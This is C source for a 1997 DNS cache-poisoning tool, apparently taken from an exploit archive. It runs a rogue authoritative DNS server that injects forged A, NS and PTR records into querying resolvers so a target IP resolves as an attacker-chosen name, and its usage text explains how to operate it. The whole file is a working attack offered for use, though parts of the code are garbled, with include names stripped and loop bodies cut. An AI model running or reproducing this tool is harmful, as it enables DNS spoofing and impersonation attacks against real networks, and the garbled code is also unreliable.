/* #dioxide 1997 THIS IS ORIGIONALLY MADE BY JOHAN ONLY MODS BY DIOXIDE */ #include #include #include #include #include #include #include #include #define VERSION "Erect by Dioxide '97" #define MAXBUFSIZE 64*1024 #define DC_A 1 #define DC_NS 2 #define DC_CNAME 5 #define DC_SOA 6 #define DC_WKS 11 #define DC_PTR 12 #define DC_HINFO 13 #define DC_MINFO 14 #define DC_MX 15 #define DC_TXT 16 typedef struct { unsigned short id; unsigned char rd: 1; /* recursion desired */ unsigned char tc: 1; /* truncated message */ unsigned char aa: 1; /* authoritive answer */ unsigned char opcode: 4; /* purpose of message */ unsigned char qr: 1; /* response flag */ unsigned char rcode: 4; /* response code */ unsigned char unused: 2; /* unused bits */ unsigned char pr: 1; /* primary server required (non standard) */ unsigned char ra: 1; /* recursion available */ unsigned short qdcount; unsigned short ancount; unsigned short nscount; unsigned short arcount; } dnsheaderrec; typedef struct { unsigned short labellen; char label[256]; unsigned short type; unsigned short class; unsigned long ttl; unsigned short buflen; char buf[256]; } dnsrrrec; typedef struct { dnsheaderrec h; dnsrrrec qd[20]; dnsrrrec an[20]; dnsrrrec ns[20]; dnsrrrec ar[20]; } dnsrec; char *dnssprintflabel(char *s, char *buf, char *p); char *dnsaddlabel(char *p, char *label); void dnstxt2rr(dnsrrrec *rr, char *b); void dnsbuildpacket(dnsrec *dns, short qdcount, short ancount, short nscount, short arcount, ...); char *dnsaddbuf(char *p, void *buf, short len); int dnsmakerawpacket(dnsrec *dns, char *buf); char *ip_to_arpa(char *ip); char *arparize(char *ip); char *get_token(char **src, char *token_sep); char *dnssprintflabel(char *s, char *buf, char *p) { unsigned short i,len; char *b=NULL; len=(unsigned short)*(p++); while (len) { while (len >= 0xC0) { if (!b) b=p+1; p=buf+(ntohs(*((unsigned short *)(p-1))) & ~0xC000); len=(unsigned short)*(p++); } for (i=0;ilabel,tok[0]); rr->labellen=p-rr->label; i=1; if (isdigit(*p)) rr->ttl=htonl(atol(tok[i++])); else rr->ttl=htonl(DEFAULTTTL); if (strcmp(tok[i],"IN") == 0) i++; rr->class=htons(1); if (strcmp(tok[i],"A") == 0) { i++; rr->type=htons(DC_A); if (i < numt) { inet_aton(tok[i],rr->buf); rr->buflen=4; } else rr->buflen=0; return; } if (strcmp(tok[i],"CNAME") == 0) { i++; rr->type=htons(DC_CNAME); if (i < numt) { p=dnsaddlabel(rr->buf,tok[i]); rr->buflen=p-rr->buf; } else rr->buflen=0; return; } if (strcmp(tok[i],"NS") == 0) { i++; rr->type=htons(DC_NS); if (i < numt) { p=dnsaddlabel(rr->buf,tok[i]); rr->buflen=p-rr->buf; } else rr->buflen=0; return; } if (strcmp(tok[i],"PTR") == 0) { i++; rr->type=htons(DC_PTR); if (i < numt) { p=dnsaddlabel(rr->buf,tok[i]); rr->buflen=p-rr->buf; } else rr->buflen=0; return; } if (strcmp(tok[i],"MX") == 0) { i++; rr->type=htons(DC_MX); if (i < numt) { p=rr->buf; *((unsigned short *)p)=htons(atoi(tok[i++])); p+=2; p=dnsaddlabel(p,tok[i]); rr->buflen=p-rr->buf; } else rr->buflen=0; return; } } void dnsbuildpacket(dnsrec *dns, short qdcount, short ancount, short nscount, short arcount, ...) { int i; va_list va; dns->h.qdcount=htons(qdcount); dns->h.ancount=htons(ancount); dns->h.nscount=htons(nscount); dns->h.arcount=htons(arcount); dns->h.rcode=0; va_start(va, arcount); for (i=0;iqd[i],va_arg(va, char *)); for (i=0;ian[i],va_arg(va, char *)); for (i=0;ins[i],va_arg(va, char *)); for (i=0;iar[i],va_arg(va, char *)); va_end(va); } char *dnsaddbuf(char *p, void *buf, short len) { memcpy(p,buf,len); return(p+len); } int dnsmakerawpacket(dnsrec *dns, char *buf) { char *p; int i; unsigned short len; memcpy(buf,&dns->h,sizeof(dnsheaderrec)); p=buf+sizeof(dnsheaderrec); /********** Query ***********/ for (i=0;ih.qdcount);i++) { p=dnsaddbuf(p,dns->qd[i].label,dns->qd[i].labellen); p=dnsaddbuf(p,&dns->qd[i].type,2); p=dnsaddbuf(p,&dns->qd[i].class,2); } /********** Answer ***********/ for (i=0;ih.ancount);i++) { p=dnsaddbuf(p,dns->an[i].label,dns->an[i].labellen); p=dnsaddbuf(p,&dns->an[i].type,2); p=dnsaddbuf(p,&dns->an[i].class,2); p=dnsaddbuf(p,&dns->an[i].ttl,4); len=htons(dns->an[i].buflen); p=dnsaddbuf(p,&len,2); p=dnsaddbuf(p,dns->an[i].buf,dns->an[i].buflen); } /********** Nameservers ************/ for (i=0;ih.nscount);i++) { p=dnsaddbuf(p,dns->ns[i].label,dns->ns[i].labellen); p=dnsaddbuf(p,&dns->ns[i].type,2); p=dnsaddbuf(p,&dns->ns[i].class,2); p=dnsaddbuf(p,&dns->ns[i].ttl,4); len=htons(dns->ns[i].buflen); p=dnsaddbuf(p,&len,2); p=dnsaddbuf(p,dns->ns[i].buf,dns->ns[i].buflen); } /********** Additional ************/ for (i=0;ih.arcount);i++) { p=dnsaddbuf(p,dns->ar[i].label,dns->ar[i].labellen); p=dnsaddbuf(p,&dns->ar[i].type,2); p=dnsaddbuf(p,&dns->ar[i].class,2); p=dnsaddbuf(p,&dns->ar[i].ttl,4); len=htons(dns->ar[i].buflen); p=dnsaddbuf(p,&len,2); p=dnsaddbuf(p,dns->ar[i].buf,dns->ar[i].buflen); } return(p-buf); } char *get_token(src, token_sep) char **src; char *token_sep; { char *tok; if (!(src && *src && **src)) return NULL; while(**src && strchr(token_sep, **src)) (*src)++; if(**src) tok = *src; else return NULL; *src = strpbrk(*src, token_sep); if (*src) { **src = '\0'; (*src)++; while(**src && strchr(token_sep, **src)) (*src)++; } else *src = ""; return tok; } char *ip_to_arpa(char *ip) { char *arpablock, *bit_a, *bit_b, *bit_c; char *oomf; arpablock = NULL; arpablock = (char *)malloc(64); oomf = (char *)malloc(64); strcpy(oomf, ip); bit_a = get_token(&oomf, "."); bit_b = get_token(&oomf, "."); bit_c = get_token(&oomf, "."); sprintf(arpablock, "%s.%s.%s.in-addr.arpa", bit_c, bit_b, bit_a); return arpablock; } char *arparize(char *ip) { char *arpa, *bit_a, *bit_b, *bit_c, *bit_d; char *oomf; arpa = NULL; arpa = (char *)malloc(64); oomf = (char *)malloc(64); strcpy(oomf, ip); bit_a = get_token(&oomf, "."); bit_b = get_token(&oomf, "."); bit_c = get_token(&oomf, "."); bit_d = oomf; sprintf(arpa, "%s.%s.%s.%s.in-addr.arpa", bit_d, bit_c, bit_b, bit_a); return arpa; } void main(int argc, char *argv[]) { int sock, fromlen, numread, len, query; struct sockaddr_in sa, from, to; char *buf, *sendbuf; char *domainnamebuf; dnsheaderrec *dns; char *p; dnsrec dnsh; char *addname, *fakens, *fakensip, *targetip, *spoofname, *targetblock; char *kludgeaddname, *kludgetargetblock; char *cache_line_1, *cache_line_2_1, *cache_line_2_2, *cache_line_3, *cache_line_4; char *ptr_line_1, *ptr_line_2, *klarpatargetip, *arpatargetip; if (argc < 6) { printf("usage: %s \n", argv[0]); printf(" lookupname : EG cacher.dioxide.com, used to initiate false caching\n"); printf(" fakenshost : EG ns1.dioxide.com, server name to answer fake PTR's\n"); printf(" fakensip : EG 205.164.89.1, IP of server to answer fake PTR's\n"); printf(" targetip : EG 200.3.4.10, IP of machine you want to spoof from\n"); printf(" spoofname : EG bollox.org, name you want targetip to resolve as\n"); exit(-1); } addname = argv[1]; fakens = argv[2]; fakensip = argv[3]; targetip = argv[4]; spoofname = argv[5]; targetblock = (char *)malloc(64); targetblock = ip_to_arpa(targetip); kludgetargetblock = (char *)malloc(64); strcpy(kludgetargetblock, targetblock); strcat(kludgetargetblock, "."); kludgeaddname = (char *)malloc(64); strcpy(kludgeaddname, addname); strcat(kludgeaddname, "."); arpatargetip = (char *)malloc(256); arpatargetip = arparize(targetip); klarpatargetip = (char *)malloc(64); strcpy(klarpatargetip, arpatargetip); strcat(klarpatargetip, "."); cache_line_1 = (char *)malloc(256); cache_line_2_1 = (char *)malloc(256); cache_line_2_2 = (char *)malloc(256); cache_line_3 = (char *)malloc(256); cache_line_4 = (char *)malloc(256); ptr_line_1 = (char *)malloc(256); ptr_line_2 = (char *)malloc(256); sprintf(cache_line_1, "%s IN A", addname); sprintf(cache_line_2_1, "%s 5 IN A %s", addname, fakensip); sprintf(cache_line_2_2, "%s IN A %s", spoofname, targetip); sprintf(cache_line_3, "%s IN NS %s", targetblock, fakens); sprintf(cache_line_4, "%s IN A %s", fakens, fakensip); sprintf(ptr_line_1, "%s IN PTR", arpatargetip); sprintf(ptr_line_2, "%s IN PTR %s", arpatargetip, spoofname); printf("%s now running!\n", VERSION); printf(" lookupname : %s\n", addname); printf(" fakenshost : %s\n", fakens); printf(" fakensip : %s\n", fakensip); printf(" targetip : %s\n", targetip); printf(" spoofname : %s\n\n", spoofname); printf(" TARGETARPA : %s\n", arpatargetip); printf("Waiting for connect...\n"); if ((buf = malloc(MAXBUFSIZE)) == NULL) { perror("malloc"); exit(-1); } if ((sendbuf = malloc(MAXBUFSIZE)) == NULL) { perror("malloc"); exit(-1); } if ((domainnamebuf = malloc(MAXBUFSIZE)) == NULL) { perror("malloc"); exit(-1); } if ((sock=socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0) { perror("socket"); exit(-1); } sa.sin_family = AF_INET; /* sa.sin_addr.s_addr = inet_addr(DEFAULTBINDHOST); */ sa.sin_addr.s_addr = INADDR_ANY; sa.sin_port = htons(53); if (bind(sock, (struct sockaddr *)&sa, sizeof(sa)) < 0) { perror("bind"); exit(-1); } setvbuf(stdout,NULL,_IONBF,0); while (1) { fromlen=sizeof(from); if ((numread = recvfrom(sock, buf, MAXBUFSIZE, 0, (struct sockaddr *)&from, &fromlen)) < 0) { perror("recvfrom"); continue; } /* Kludge to stop that damn router */ /*if (from.sin_addr.s_addr == inet_addr("206.126.32.10")) continue;*/ dns=(dnsheaderrec *)buf; if (dns->qr) continue; p=dnssprintflabel(domainnamebuf,buf,&buf[sizeof(dnsheaderrec)]); query=ntohs(*(unsigned short *)p); printf("Packet from %s : %d : %s (%d)\n",inet_ntoa(from.sin_addr),ntohs(from.sin_port),domainnamebuf,query); if (strcasecmp(domainnamebuf,kludgeaddname) == 0) { dnsbuildpacket(&dnsh,1,2,1,1, cache_line_1, cache_line_2_1, cache_line_2_2, cache_line_3, cache_line_4); } else if (strcasecmp(domainnamebuf,klarpatargetip) == 0) { dnsbuildpacket(&dnsh,1,1,0,0, ptr_line_1, ptr_line_2); } else { /* Error */ dnsh.h.rcode=5; strcat(domainnamebuf," IN A"); dnsbuildpacket(&dnsh,1,0,0,0, domainnamebuf); } dnsh.qd[0].type=htons(query); dnsh.h.id=((dnsheaderrec *)buf)->id; dnsh.h.qr=1; dnsh.h.aa=1; len=dnsmakerawpacket(&dnsh,sendbuf); to.sin_family=AF_INET; to.sin_addr.s_addr=from.sin_addr.s_addr; to.sin_port=from.sin_port; if (sendto(sock,sendbuf,len,0,(struct sockaddr *)&to,sizeof(to)) < 0) { perror("sendto"); continue; } } } /* www.hack.co.za [2000]*/